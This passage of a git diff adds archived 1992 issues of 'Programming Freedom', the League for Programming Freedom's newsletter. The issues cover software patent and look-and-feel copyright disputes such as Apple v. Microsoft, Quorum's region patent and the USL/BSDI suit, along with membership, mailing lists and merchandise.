simply liberates +Macintosh-compatible applications to run on other platforms without +touching any of Apple's Macintosh technology." + +Quorum Latitude is based on a core technology called Quorum +Compatibility Engine. When an original Macintosh-compatible +application makes a call to any systems facility, the Compatibility +Engine responds by rerouting the request to a similar service resident +on computers using the UNIX operating system. For screen display, the +Compatibility Engine redirects Macintosh-proprietary QuickDraw calls +directly into Display PostScript or NeWS. The PostScript language is +a hardware-independent imaging language that supports any range of +display, resolution and output devices... + --==-- + + <>MacBlaster game, by Christopher Glaeser, team1!cdg@uunet.uu.net<> + +Check out page 248 of the June issue of Windows. There is a promotion +for a shareware program called Macblaster written by Earl Gehr. It is +a game that pits your PC against a fleet of attacking Macs. The Macs +zip across the sky trying to destroy your PC by dropping copyright +bricks. The object is to blast all of the Macs before they hit your +PC with a copyright. Hmmm, interesting tactic indeed. + --==-- + + <><><>LPF email lists - what they are for<><><> + +These lists are for LPF members only, although you may, of course, +redistribute postings to your friends in the hopes of getting them to +actively support the LPF by joining. + +This moderated mailing list + league-activists@prep.ai.mit.edu + and its two sub-lists: + league-activists-boston@prep.ai.mit.edu + and league-activists-remote@prep.ai.mit.edu should be used only +for members' requests for assistance in league projects, local or +nationally, or for announcements from LPF. + +These lists are filtered by a moderator to: + - insure this use; + - minimize the number of messages; + - remove items meant for the list's -request address; + - forward items that should have been sent to another list. + +There may be a delay of up to 3 days for your message to be sent on +L-act, so plan ahead for volunteer requests. + +League-tactics@prep.ai.mit.edu is for discussion of LPF directions and +is not moderated. + +If you want to subscribe, change your eddress (email address), or be +removed from either list, please use: + + league-activists-request@prep.ai.mit.edu +or league-tactics-request@prep.ai.mit.edu + --==-- + + <><><>Apple-Microsoft/HP suit news<><><> + +This spring, most of Apple's case against Microsoft and Hewlett +Packard was dismissed by the judge. + +The partial decision dropped the case against Hewlett Packard. It +also dropped most of the case against Microsoft, but not all. + +The reason given by the judge was that Microsoft's old contract with +Apple gave Microsoft the right to do most of the things covered by the +suit. The judge did not rule on the question of whether the style of +a user interface can be copyrighted at all, so the decision would have +no effect if Apple (or someone else) were to sue someone other than +Microsoft in the exact same way. + +A few weeks ago a story circulated on the Internet that the partial +decision in the Apple versus Microsoft case had been withdrawn. +According to Microsoft, this was untrue; the partial decision still +stands. However, we cannot regard it as final, since Apple will +probably appeal. + +Addendum: Apple asked the judge to reconsider his partial decision and +he agreed to reconsider. So it's possible the decision will be +changed by the trial court. + --==-- + + <><><> LPF Boutique: Materials Available from the League <><><> + + Please send your order to the League address on the first page + Buttons + We have reprinted the famous ``fanged apple'' buttons. These +buttons show the symbol of Apple computer with an alien snake's body +and face. You can buy buttons by mail from the League, for $2 each, +in quantities of at least three. We give out buttons at events, but +ask for a donation. + Stickers + We also have stickers showing Liberty Empowering the Programmer, +with the League's name and address. You can order stickers by mail +from the League at $5 for 10 stickers; for larger orders, phone us to +discuss a price. We hand them out free when it is convenient, such as +at our events, but since mailing packages to individuals costs money, +we want to make it an opportunity to raise funds. + Post stickers at eye level and separated from other posted +articles, to make them easy to see. The stickers are not made to +survive rain. + Liberty Postcards + We also have postcards showing Liberty Empowering the Programmer, +with the League's name and address. Same terms as the stickers. + Large Liberty Posters + We have a few posters with the same image that is on the +stickers, approximately 2.5 ft by 1.5 ft. They are $4 each and $4 +total shipping and handling in the US for the first one to five +posters, and $2 for each additional five. + Coffee Mugs + Our coffee mugs have the Fanged Apple design in full color on one +side and ``League for Programming Freedom'' on the other. They hold +twelve ounces and are microwave safe. You can order a mug for $15, +nonmembers $17, plus $3.00 shipping and handling. They are now in +stock. Note the price increase. + T-Shirts + Michael Ernst has produced t-shirts with Liberty and ``League for +Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on +the back. (The back slogan will change from time to time.) You can +order shirts by mail from the League for $10, nonmembers $12, plus $2 +for shipping and handling. Available colors are yellow, blue and +peach; if you specify a color, we will assume you would rather have +the other color than no shirt. If you want a chosen color or nothing, +say so explicitly. Please specify the shirt size! (M, L or XL.) +We are temporarily out of XL shirts, but are getting some back from a +member who had volunteered to sell some and sold a dozen. + Position Papers and Memberships + We will send anyone a copy of the League position papers. If you +want other copies to hand out at an event, we'll send you as many as +you need. Please discuss your plans with us. One-year memberships +are $42 for professionals, $10.50 for students, and $21 for others. +The dues are $100 for an institution with up to three employees, $250 +for an institution with four to nine employees, and $500 for an +institution with ten or more employees. For $5000, an institution can +be a sponsor rather than a member. We have 10 inst. members, now. + League Papers Online +You can retrieve LPF written materials by anonymous ftp from +prep.ai.mit.edu in the directory /pub/lpf. These include the position +papers, membership form, handouts, friends of the court briefs, and +articles about the LPF's issues of concern. + League Video Cassettes +We have video tapes of some of Richard Stallman's speeches for the +LPF. If you'd like to give LPF speeches, we can send you copies of +these tapes to give you an example to learn from. If you'd like +copies for another purpose, we can send them for $20 each. <><><> + + <><><> End of June 1992 Programming Freedom <><><> + + +tic \ No newline at end of file diff --git a/textfiles.com/magazines/LPF/lpf5.txt b/textfiles.com/magazines/LPF/lpf5.txt new file mode 100644 index 00000000..4c215860 --- /dev/null +++ b/textfiles.com/magazines/LPF/lpf5.txt @@ -0,0 +1,607 @@ + _______________________________________________________ + | | + | PROGRAMMING FREEDOM - online edition | + | | + | August 1992 -==- Volume I Number 5 | + | | + | The Electronic Newsletter of | + | The League for Programming Freedom | + | 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 | + | league@prep.ai.mit.edu | + | Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) | + |Assistant Editor: Andy Oram (oram@hicomb.hi.com) | + | Reproduction of Programming Freedom via all | + | electronic media is encouraged. | + | To reproduce a signed article individually, | + | please contact the author for permission. | + |_____________________________________________________| + + <><><><><> TABLE OF CONTENTS <><><><><> + Heckel - Gabriel debate report by Richard P. Gabriel + News: IBM and Microsoft cross-license + Apple and Quorum patents - by Richard M. Stallman (rms) + Status of the LPF Apple boycott - Chris Hofstader + LPF position on latest in Apple vs. Microsoft/HP case - rms + LPF publicity: Cons, media mentions, & volunteer efforts + LPF's position on ATT/BSDI suit - by LPF Pres. Jack Larsen & rms + LPF News: voicemail still down, due back soon + LPF bibliography and on-line index continues - by Michael Ernst + Another way to publicize the LPF - by Frank P. Bresz + LPF email lists - who and what they are for + Viewpoint: Software Patents - Boom or Bane? - by rms + LPF Boutique: Materials Available from the League + + --==-- + + <><><>Heckel - Gabriel debate<><><> + - by rpg%inferno@lucid.com (Richard P. Gabriel) + +The publicity flyer for my debate with Heckel read: + +"Special Interest Group on Freedom, Privacy and Technology: A public +forum co-sponsored by BMUG and CPSR/Berkeley, May 31. + +Software patent proponent Paul Heckel goes head to head with Dr. +Richard P. Gabriel, of the League for Programming Freedom to discuss +the realities of software patents... + +Paul Heckel, author of the book "The Elements of Friendly Software +Design" (Sybex books, second edition, 1991) and owner of HyperRacks, +Inc., pioneered the card and stack computer metaphor. He developed +Zoomracks, which is recognized as a predecessor to HyperCard by Apple +Computer (among others), who licensed his patents. + +Dr. Richard P. Gabriel is Chief Technical Officer and principal +founder of Lucid, Inc, a Unix software company specializing in object +technology. He is a regular columnist for AI Expert. His research +accomplishments include the first high-performance supercomputer Lisp +system, the definition of the Common Lisp language, the Gabriel +Benchmarks for measuring Lisp system performance, the design and +implementation of Qlisp (the first compiler-based parallel Lisp +implementation), assisted with the definition of the Common Lisp +Object System (CLOS), and the architecture of Lucid's integrated +programming environment." + +I felt that he self-destructed again, and basically the whole crowd +(only 20 people) ended up attacking him. He had two questions he +couldn't respond to, neither of which I had heard before (I'll present +the second as a statement, but it was in the form of a question at the +debate): + + 1. what program, system, or technique did we get that we wouldn't + have got without patents? + + 2. In other areas, the cost of patents is in the cost of parts. + So, when I build a computer, I buy a chip and the cost of the + licensed patent is included. If I use a lot of chips, then the + patent's value is accurately reflected by the cost to me, + and if the computer sells well, the added revenue (cost) + accurately reflects the value of the patent. + This can't happen with software, because if I use a patented + technique for a small purpose and the patent-holder charges a + percentage royalty, I get screwed because the cost of the + patent to me is inaccurate with regard to its cost. And if the + patent-holder charges a fixed price and I sell a lot of + product with the patent, the value of the patent to the + product with regard to its cost is inaccurate. This is a direct + result of software patents being about ideas and not about + property. + +I would say the result of the debate is that Heckel's wild arguments +convinced the audience that the entire patent system should be +ditched. + --==-- + + <><><>News: IBM and Microsoft cross-license<><><> + +IBM and Microsoft have completed negotiations on royalties for OS/2; +IBM will pay Microsoft some amount under $30/copy. But during the +negotiations, IBM threatened to hit Microsoft with patent suits on a +thousand software patents. They ended up cross-licensing all their +patents, but because IBM had more patents, Microsoft paid between $20M +and $30M as part of the deal. + --==-- + +<><><>Apple and Quorum patents - by Richard M. Stallman (rms)<><><> + +The Macintosh system uses a simple compressed representation for +regions (two-dimensional shapes). Fundamentally, a region is +represented by a bitmap; the compression technique consists of +run-length encoding first in the x-direction and then in the +y-direction. It is possible to do boolean operations on compressed +regions operating directly on the compressed form; this is faster than +generating the full bitmap. + +This representation is patented by Apple; the patent number is +4,622,545. + +The result is to cause a problem for any Macintosh-compatible system. +Applications contain actual regions represented in this format, and +any method of executing the application correctly must infringe the +patent. + +So what have emulator-writers done? One company, Quorum, decided to +handle stored regions in applications only approximately; they expand +the region to a rectangle, ignoring its detailed shape. This seems to +work well enough in practice--apparently most applications make little +use of saved constant regions. + +But this approximation method brings a vulnerability: Apple can +develop applications that explicitly refuse to work if the system +handles regions approximately. If important applications don't work +at all, the emulator will be useless. Apple could even pressure other +developers into doing this. Apple is known for placing obnoxious +restrictions on its approved developers, and this particular +imposition would not be out of character. + +Meanwhile, Quorum uses another representation for regions, and another +method for doing boolean operations. And Quorum is patenting this +technique. Yesterday's underdog has become tomorrow's bully. + +Because Quorum is a small company, it may respond to public +disapproval. Two years ago a few LPF members convinced Solbourne to +back down on an interface copyright claim. We may be able to convince +Quorum to back down if we give them a response that is surprisingly +strong. + +So please write letters to the president of Quorum, deploring this +patent and saying that if they sink to Apple's level then you will say +the same bad things about them that you do about Apple. + + Sheldon Breiner, President + Quorum Software Systems, Inc. + 4700 Bohannon Drive, Suite 125 + Menlo Park, CA 94025 + +Urge Quorum to give the patent to the public, or to adopt a +non-aggression policy for it. (A non-aggression policy means they +won't use the patent against you unless you use patents against them.) + +Send a copy of your letter to a magazine that Quorum might advertise +in, and mark this fact on the letter. + + --==-- + + <><>Status of the LPF Apple boycott - by Christian D. Hofstader<><> + + One of our members asked: Now that Apple is no longer pursuing a + look-and-feel lawsuit, is the boycott over? + - David J. Camp (campfire!david@wupost.wustl.edu) + +I am not certain that Apple is no longer pursuing lnf suits. All that +I've heard is that a judge has thrown most of their case out. We will +drop our boycott when and if Apple announces publicly that they will +no longer use such tactics in the future. If this has already +happened I have not heard about it. + + - cdh@prep.ai.mit.edu, LPF Secretary and Director + + --==-- + + <><>LPF position on latest in Apple vs. Microsoft/HP case - rms<><> + +Recently, Judge Walker threw out most of Apple's complaints against +Microsoft and HP. He cited concerns about overbroad monopoly as part +of the reason. + +This is definitely a step in the right direction, and a win for +programmers' freedom, but it does not completely eliminate the danger +from Apple--for several reasons: + +* Not all of the lawsuit has been thrown out. A few of Apple's claims +still remain to be decided. + +* Part of the reason most claims were rejected was that Microsoft had +signed a contract with Apple, years ago. In fact, the judge did not +decide for certain that the features in Apple's list were +uncopyrightable; he said that *either* they are uncopyrightable *or* +Microsoft's license covers them. Only another trial will tell us +which one it is! + +Thus, if Apple were to sue someone else in the exact same way--someone +who did not sign such a license with them years ago--it is not clear +that the outcome would be the same. + +* Apple may appeal the decision; we cannot regard any of it as final. + + --==-- + + <><>LPF publicity: Cons, media mentions, & volunteer efforts<><> + + Send in any LPF mentions or volunteer efforts and we'll list it. + +May 31 Berkeley Richard P. Garbriel debates Paul Heckel + Report by Gabriel in this issue. +June 1 Computerworld Viewpoint column by rms (reprinted here). + +karl@cs.umb.edu (Karl Berry) reports: + +"Here's a small (tiny) thing I did. I got a typical questionnaire +from Dartmouth, my alma mater, asking their alumni about directions +for the future. I suggested they support the LPF's boycott of Apple, +and join the LPF as an institutional member. (Since Dartmouth +essentially requires each student buy a PC or Mac, and many buy Macs, +their supporting the boycott might actually make Apple pay attention.) +I also sent them the LPF position papers." + + --==-- + + <>LPF's position on ATT/BSDI suit - by LPF Pres Jack Larsen & rms<> + +People have asked why the LPF hasn't said anything about the lawsuit +by USL (a subsidiary of AT&T) against the University of California at +Berkeley and against BSDI. + +The reason is because we don't yet know whether this lawsuit falls +within the scope of concern of the LPF. This is because the USL +allegations are vague. The crucial claim is that + + 27. This statement is likewise materially false and misleading + in that, to the extent the BSDI "LICENSED PROGRAM" is (as BSDI + claims) based upon Berkeley's Networking Release 2, it is in fact + based upon, copied from or derived from AT&T's code, such that + users of the BSDI program require a license from AT&T or its + successor, USL. + +and it is not clear what sort of illegality is charged. + +This could be an allegation that actual code was copied, in which case +the issue is not one of concern to the LPF. The LPF stands for the +freedom to write software, but it is not opposed to owning individual +programs that one has written, and this includes USL. + +On the other hand, perhaps an interface copyright claim is lurking +within "otherwise derived". Or USL could interpret it this way if +other interpretations prove unfavorable. This would bring the case +directly within the LPF's area of concern. + +However, the case may fall into the area of programming freedom in a +wider sense, as an example of using the power of money to harass. For +several reasons, the actions of USL would be an abuse even if the +allegation were true: + + NET2 is a collection of many different programs and parts of + programs written by different people and institutions. While + they work together, they are unrelated as regards authorship. To + charge that NET2 as a single entity infringes some (unspecified) + right is like pointing at a bookstore and saying that its entire + contents are illegal because of unidentified books. + + USL has not even specified what sort of illegality they allege; + they want BSDI to be judged as vaguely in the wrong, disregarding + what sort of copying and distribution the law permits. + + USL originally sued BSDI, alleging misconduct by UCB, not by + BSDI. At the time, UCB had received no word of complaint from + USL about the releases of free software, which had begun in 1988. + The release of NET2 took place about a year before the lawsuit + against BSDI. + + UCB made assiduous efforts to avoid including any AT&T code in + the NET2 release, and this included several attempts over a + period of years to ask USL whether they regarded certain programs + as in any way violating their copyrights or trade secrets. USL + refused to answer. + + USL has sued the lawyers of BSDI and UCB, merely for raising + objections to the questions that USL wanted Mike Karels to + answer. + +Perhaps these issues should be a matter of concern to the LPF, even +though the legality of copying code is not one. However, the problems +of our legal system exposed here have nothing specifically to do with +software; the ability of the wealthy to deny others their legal rights +is a general phenomenon. + +Also, the main focus of the LPF is on changing the legal system for +software, not on individual cases, and it is not clear what change in +the system we should advocate to solve these problems. This case does +not suggest a need for changes in copyright or trade secret law for +software because the defendants will probably win under existing +law--provided they can manage to last until the case is decided. + + --==-- + + <><><>LPF News: voicemail still down, due back soon<><><> + +Our voicemail number is temporarily down. The voicemail subcontractor +to our snailmail mailbox company abruptly went bankrupt; we are +attempting to recover the number from them and provide more reliable +service to you without obsoleting our stocks of LPF materials with the +voicemail number on them. + +Chris Hofstader adds: "...I finally heard from ... Dictronics ... who +purchased MessageNet. Previously MessageNet purchased VoiceTek. I, +with the cooperative and patient assistance of Bill at Mail Boxes +Etc., have spent much of the summer chasing corporate ownership of our +phone number. We finally found a person with the authority to release +the number to us. + +NETel is setting up a system for us that will at first forward our +calls to a different rented number. We will in the coming weeks +purchase an answering system and put it in a stable home with a very +inexpensive "incoming" only line attached. + +This problem is finally solved... Bankruptcy and +corporate takeovers are a complete hassle to trace through." + +The number was and will be 617-243-4091. It is a voice-mail phone, so +please leave your name and phone number or address, and your question +or request, and our person will get back to you. + --==-- + +<><>LPF bibliography & on-line index continues - by Michael Ernst<><> + +[Two people have since volunteered to maintain this important +resource. I included all of Mike's description to show how much work +he has done on the index for the LPF. We thank you for your efforts, +Mike.] + +For the past few year and a half I have been maintaining two files for +the League for Programming Freedom: a partial list of software patents +and an online index to the League's hardcopy files. Other commitments +(and the possibility that I will soon leave the Boston area) force me +to delegate these tasks to someone else, and I am looking for +volunteers to take over responsibility for one or both of the files. +(One person doesn't necessarily have to manage both of them.) + +I spend several hours every month going through new acquisitions which +are placed in a file in 545 Technology Square (the FSF headquarters), +deciding in which physical file folder to store them, and indexing +them electronically. When I come across references to, or articles +about, software patents or user interface copyrights, I place them in +the electronic index as well and hunt them down if it's convenient. I +often read or skim articles and patents so that I can provide a precis +along with information about the title, author, and date of +publication; this makes the index much more useful. When I update the +files, I send diffs of the changes to a set of interested people. + +I hope that someone will be willing to take over this responsibility, +for at least two reasons. First, it is essential to keeping the +League's extensive set of hardcopy files in order; without some +organization and an index, they would be nearly useless (as they were +before I started). Second, I would hate to see my significant +investment of time go to waste if the present organization was allowed +to fall before entropy. + +If you'd like to look at the files, either to use them or because you +are interested in possibly taking them over, you can find them for +anonymous ftp in the directory mintaka.lcs.mit.edu:/mitlpf/ai, files +index and patent-list. + -Michael Ernst + mernst@theory.lcs.mit.edu + + --==-- + + <><>Another way to publicize the LPF - Frank P. Bresz<><> + + WOW what a response.... using a question instead of + just a signature works far better for recruiting purposes. I have + had this signature : + +Frank P. Bresz |PCD Simulators Department, Westinghouse Electric Corporation +fpb@ittc.wec.com|My opinions are mine, WEC pays big money for official opinions +uunet!ittc!fpb |Member: League for Programming Freedom (LPF) | STOP Software | ++1 412 733 6749 |For more information on the 'LPF' send mail | Patents Now | + + For about a month (perhaps longer). In the past week I have + started (as suggested in the 'recruiting' document) just posing the + question to mail contacts from usenet and the like. I take the + time to remove my affiliation so as to not 'lead' the person into + anything they might not want to say/think. + + I have already received 2 or 3 responses and at least 1 'Yep, looks + like I better join', after sending the papers. + + Just thought I would let the folks know that it really works and it + is worth the few minutes it takes to do it. + +[the signature publicity is also expanding; we now get 10 to 20 +requests for info in a week stating that they "saw us in a .sig." - +spiker] + + --==-- + + <><><>LPF email lists - who and what they are for<><><> + +These lists are for LPF members only, although you may, of course, +redistribute postings to your friends in the hopes of getting them to +actively support the LPF by joining. + +The moderated mailing list: + league-activists@prep.ai.mit.edu + + and its two sub-lists: + league-activists-boston@prep.ai.mit.edu + and league-activists-remote@prep.ai.mit.edu should be used only + + for members' requests for assistance in league projects, local or + nationally, or for announcements from LPF. + + These lists are filtered by a moderator to: + - insure this use; + - minimize the number of messages; + - remove items meant for the list's -request address; + - forward items that should have been sent to another list. + + There may be a delay of up to 3 days for your message to be sent on + L-act, so plan ahead for volunteer requests. + +League-tactics@prep.ai.mit.edu is for discussion of LPF directions and +is not moderated. + +If you want to subscribe, change your eddress (email address), or be +removed from either list, please use: + + league-activists-request@prep.ai.mit.edu +or league-tactics-request@prep.ai.mit.edu + + +General questions about the LPF, and administrative questions about +your membership or your email copy of the newsletter should still go +to: league@prep.ai.mit.edu + --==-- + + Viewpoint: Software Patents - Boom or Bane? - by rms + (Appeared in June 1, 1992 Computerworld, p. 33) + +If you develop software, or even if you use software, software patents +are a threat to your work. + +Patents in software provide little benefit to society: past experience +shows that many new algorithms were published and many new features +tried out, in the absence of patents. The burden they impose is +immense: every design decision now carries the risk of being sued for +infringing a patent; most new techniques and features are off-limits +for seventeen years. As Bank of America has learned, even the users +of popular software packages can be sued. + +When people first learn about the problem of software patents, their +attention is often drawn to the absurd patents that cover techniques +already widely known---such as ``natural order recalculation'' in +spreadsheets. + +Focusing on these examples can lead some people to ignore the rest of +the problem. They are attracted to the position that the patent +system is basically correct and needs only ``reforms'' to carry out +its own rules properly. For example, they propose a data base of +prior art for patent examiners to study. But how much good would this +do? Let's consider an example. + +In April 1991, software developer Ross Williams began publishing a +series of data compression programs using new algorithms of his own +devising. Their superior speed and compression quality soon attracted +users. + +The following September, use of these programs in the United States +was halted by a newly issued patent, number 5,049,881. Dean Gibson +and Mark Graybill had applied for the patent on June 18, 1990. + +Under the current patent rules, the validity of the patent depends on +whether there is ``prior art'': whether the basic idea was published +before that date in 1990. Williams's publication in April 1991 came +after that date, so it does not count. + +Ghiora Drori, a student at the University of San Francisco, described +a similar algorithm in 1988/9 in a class paper, but it was not +published. This doesn't count either. + +Reforms to make the patent system work ``properly'' would be no help +here---because the patent would still exist. There is no prior art +for it. It is not close to obvious, as the patent system interprets +the term. (Like most patents, it is neither revolutionary nor +trivial, but somewhere in between.) The fault is in the rules +themselves, not their execution. + +Between this and other data compression patents, it is now difficult +to design any high-quality compression program that is unambiguously +lawful---because it is not easy to tell just how far a given patent +stretches. + +In the US legal system, patents are intended as a bargain between +society and individuals; society is supposed to gain through the +disclosure of techniques that would otherwise never be available. It +is clear that society has gained nothing by issuing patent number +5,049,881. + +Under current rules, our ability to use Williams's programs depends on +whether anyone happened to publish the same idea before April 1991. +More fundamentally, it depends on when various people happened to have +this idea. That is to say, it depends on luck. This system is good +for promoting the practice of law rather than that of software. + +Teaching the Patent Office to look at more of the existing prior art +might prevent some outrageous mistakes. It will not cure the greater +problem, which is the patenting of every @emph{new} wrinkle in the +use of computers, like the one that Williams and others independently +developed. + +This will turn software into a quagmire. Even an innovative program +will use dozens of known techniques and features, and each is likely +to be off limits if it is less than two decades old. Our ability to +use each wrinkle will depend on luck, and if we are unlucky half the +time, few programs will escape infringing a large number of patents. +Navigating the maze of patents will be harder than writing software. +As @cite{The Economist} says, software patents are simply bad for +business. + +A reform substantial enough to solve this problem would have to +eliminate nearly all software patents. Since the problem is grave, we +should not wait to decide which handful do benefit society, if any. +We should abolish them all without delay, and leave the tuning for +later. + --==-- + + <><><> LPF Boutique: Materials Available from the League <><><> + + Please send your order to the League address on the first page We +don't take credit cards yet, but are working on this with our bank. +We do take Traveler's Checks. + Buttons + We have reprinted the famous ``fanged apple'' buttons. These +buttons show the symbol of Apple computer with an alien snake's body +and face. You can buy buttons by mail from the League, for $2 each, +in quantities of at least three. We give out buttons at events, but +ask for a donation. + Stickers + We also have stickers showing Liberty Empowering the Programmer, +with the League's name and address. You can order stickers by mail +from the League at $5 for 10 stickers; for larger orders, phone us to +discuss a price. We hand them out free when it is convenient, such as +at our events, but since mailing packages to individuals costs money, +we want to make it an opportunity to raise funds. + Post stickers at eye level and separated from other posted +articles, to make them easy to see. The stickers are not made to +survive rain. + Liberty Postcards + We also have postcards showing Liberty Empowering the Programmer, +with the League's name and address. Same terms as the stickers. + Large Liberty Posters + We have a few posters with the same image that is on the +stickers, approximately 2.5 ft by 1.5 ft. They are $4 each and $4 +total shipping and handling in the US for the first one to five +posters, and $2 for each additional five. + Coffee Mugs + Our coffee mugs have the Fanged Apple design in full color on one +side and ``League for Programming Freedom'' on the other. They hold +twelve ounces and are microwave safe. You can order a mug for $15, +nonmembers $17, plus $3.00 shipping and handling. They are now in +stock. Note the price increase. + T-Shirt + Michael Ernst has produced t-shirts with Liberty and ``League for +Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on +the back. (The back slogan will change from time to time.) You can +order shirts by mail from the League for $10, nonmembers $12, plus $2 +for shipping and handling. Available colors are yellow, blue and +peach (ecru); if you specify a color, we will assume you would rather +have another color than no shirt. If you want a chosen color or +nothing, say so explicitly. Please specify the shirt size! (M, L or +XL.) We are sold out of XL shirts, but will be making more new shirts +with the next version of the back slogan by the end of Sept. + Position Papers and Memberships + We will send anyone a copy of the League position papers. If you +want other copies to hand out at an event, we'll send you as many as +you need. Please discuss your plans with us. One-year memberships +are $42 for professionals, $10.50 for students, and $21 for others. +The dues are $100 for an institution with up to three employees, $250 +for an institution with four to nine employees, and $500 for an +institution with ten or more employees. For $5000, an institution can +be a sponsor rather than a member. We have 10 inst. members, now. + League Papers Online +You can retrieve LPF written materials in TeXinfo format by anonymous +ftp from prep.ai.mit.edu in the directory /pub/lpf. These include the +position papers, membership form, handouts, friends of the court +briefs, and articles about the LPF's issues of concern. In addition to +the above, Joe Wells has PostScript, DVI, plain text, and Info format +versions of the papers "Against User Interface Copyright" +(look-and-feel) and "Against Software Patents" (patents) available for +FTP from this location: cs.bu.edu:pub/jbw/lpf/ + League Video Cassettes +We have a four-hour video tape of two of Richard Stallman's speeches for the +LPF. If you'd like to give LPF speeches, we can send you copies of +these tape to give you an example to learn from. If you'd like +copies for another purpose, we can send them for $20 each. They will +be available in Oct. <><><> + + <><><> End of August 1992 Programming Freedom <><><> +_______ \ No newline at end of file diff --git a/textfiles.com/magazines/LPF/lpf6.txt b/textfiles.com/magazines/LPF/lpf6.txt new file mode 100644 index 00000000..1412a9bb --- /dev/null +++ b/textfiles.com/magazines/LPF/lpf6.txt @@ -0,0 +1,659 @@ + _______________________________________________________ + | | + | PROGRAMMING FREEDOM - online edition | + | | + | November 1992 -==- Number 6 | + | | + | The Electronic Newsletter of | + | The League for Programming Freedom | + | 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 | + | Send email to: lpf@uunet.uu.net | + | Voicemail phone number: 617-243-4091. | + | Leave your message and we'll return your call. | + | Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) | + | Assistant Editor: Andy Oram (oram@hicomb.hi.com) | + | Reproduction of Programming Freedom via all | + | electronic media is encouraged. | + | To reproduce a signed article individually, | + | please contact the author for permission. | + |_____________________________________________________| + + <><><><><> TABLE OF CONTENTS <><><><><> + + LPF News - New email address: lpf@uunet.uu.net; phone works again + LPF publicity efforts at COMDEX - by Chris Hofstader + LEGALLY SPEAKING: DEVELOPMENTS ON THE INTELLECTUAL PROPERTY FRONT + - by Pamela Samuelson, Michel Denber, and Robert J. Glushko + Norwegian LPF chapter activity - by Haakon W. Lie + LPF Boutique: Materials Available from the League + + --==-- + +LPF NEWS - The LPF has a new email address: lpf@uunet.uu.net. If you +mention the LPF in your signature, please update the address. The LPF +phone is working again and also takes faxes now. Please send in your +election ballot to ensure a legal quorum at the annual meeting, which +is Sunday Dec. 20 at 8PM in the 7th floor lounge at 545 Tech Sq. (MIT +NE43), Cambridge, Mass. <><><> + + --==-- + +The LPF at Fall COMDEX 1992 - by Chris Hofstader (cdh@gnu.ai.mit.edu) + +For the first time in the LPF's history we will be running a booth at +the largest convention in our industry. In fact COMDEX is the largest +convention of any kind in the world. There will be over 300,000 +professionals and others from all aspects of the computer industry in +attendance. It is being held in Las Vegas Nov. 16-20. + +COMDEX offers a unique opportunity for the LPF to have access to both +computer corporate executives, their employees and perhaps most +importantly the entire international technology press corps. Having +our own booth at this convention will provide the LPF with a single +focal point where all of these people can find us and find out more +about our issues. This is the fourth year that the LPF has been at +COMDEX with officials and volunteer members. + +This COMDEX also marks one of the rare occasions that Jack Larsen, +Steve Sisak, Gordon Schantz and I will all be available to discuss LPF +issues with both our members who attend the convention and the public +at large. It will also offer us an opportunity to meet and plan for +the future of the LPF. + +If any LPF members plan on attending COMDEX and would like to help the +LPF there or would like to meet any or all of the LPF leaders who will +be in attendance there are a number of things that you can do: + +1. Send me some mail or call the LPF telephone before the convention + and we can add you to the LPF guest list. Purchasing a booth at + COMDEX allows us to give out a fair number of guest passes at no + charge to the LPF but a 75 dollar savings to the members who take + advantage of this offer. + +2. Call us at COMDEX. There are a number of things that a volunteer + can do to help us there and of course we would like to meet and + talk to any members who are interested. Jack Larsen, Steve Sisak + and I will all be registered at Circus Circus throughout the + convention. + +3. Visit the LPF booth. Our booth is located in the Riviera + convention center located adjacent to the Riviera Hotel on Las + Vegas Blvd. We will have plenty of LPF materials there as well as + being there ourselves throughout the week. + +4. Send other people to the LPF booth. We would love to talk to your + friends and coworkers about he importance of our issues and about + the LPF. + +Whether you choose to volunteer at COMDEX or just stop by to talk we +would enjoy seeing you there. If you cannot attend but have friends +or coworkers attending please tell them to drop by and find out what +we're all about. <><><> + --==-- + + LEGALLY SPEAKING: DEVELOPMENTS ON THE INTELLECTUAL PROPERTY FRONT + by Pamela Samuelson, Michel Denber, and Robert J. Glushko + +[This column was first published in the June 1992 issue of +Communications of the ACM. It may be reproduced only for +noncommercial purposes. Due to length, we have edited the article +from nine to six pages.] + + The rift between what computing professionals think the law of +intellectual property rights in computer programs ought to be and what +intellectual property professionals (mainly lawyers) think it ought to +be is growing wider every day. At the moment, it appears that the +intellectual property professionals are outmanuevering the computing +professionals by working toward establishing their vision of the +proper rules on software intellectual property rights as "the law" +before the computing professionals even know that the rules that will +govern their conduct are being decided. + + While there are unquestionably pros and cons to the software +patent and other intellectual property controversies, the unfortunate +fact of current U.S. policy on intellectual property rights for such +an important product as computer programs is that the policymaking +seems largely to be occurring either behind closed doors or in +courtrooms across the country in cases in which the court papers are +filed under seal. This effectively precludes those whose work will be +substantially affected by the resolution of these controversies from +having any meaningful input into the process of shaping the law in a +manner that would make sense to them. Exclusion of computing +professionals from the policymaking process also means that the +opportunity to persuade them of the merits of proposals eventually +adopted has been lost. This, in turn, may have serious consequences +for the enforceability of the proposals if they become the law. + + This column will report on this rift by bringing CACM readers up +to date on some national and international developments in the +intellectual property rights arena and by reporting the results of a +survey on intellectual property rights conducted in August 1991 at the +SIGGRAPH conference in Las Vegas. The SIGGRAPH survey results are +much the same as the CHI '89 survey results reported in the May 1990 +"Legally Speaking" column. Both surveys show strong support for +copyright protection for source and object code, but little support +for copyright or patent protection for most aspects of user interfaces +and internal structural features of computer programs. If anything, +the SIGGRAPH survey results show even stronger opposition to copyright +protection for "look and feel" than did the CHI '89 survey, as well as +stronger opposition to patent protection for algorithms. + + Further evidence of significant opposition to patent protection +for computer program-related inventions can also be found in a large +number of letters sent by computing professionals in response to last +summer's call for public comment by a U.S. Advisory Commission on +Patent Reform that was ostensibly created to address questions about +patent protection for software innovations, among other issues. The +Commission's recently released draft report dismisses concerns raised +by software patent opponents, and urges, if anything, broadening the +role of patents for software innovations. That the Commission should +be preparing to make these recommendations is not surprising to those +who knew the composition of the subcommittee in charge of the computer +program-related invention issues. This aspect of the Commission's +work seems to be a thinly disguised effort to prevent a more +democratic public debate on software patent issue in which the views +of computing professionals could be considered. + + Other events happening outside the realm of public debate include +the recent release of a draft agreement on intellectual property +rights being considered for inclusion as an addendum to the General +Agreement on Tariffs and Trade (GATT). Although the draft doesn't +directly say so, one of its provisions can be read as requiring member +nations to provide patent protection for software innovations. This +aspect of the GATT-related draft agreement would seem to implement +another recommendation of the U.S. Advisory Commission on Patent +Reform draft report which urges the 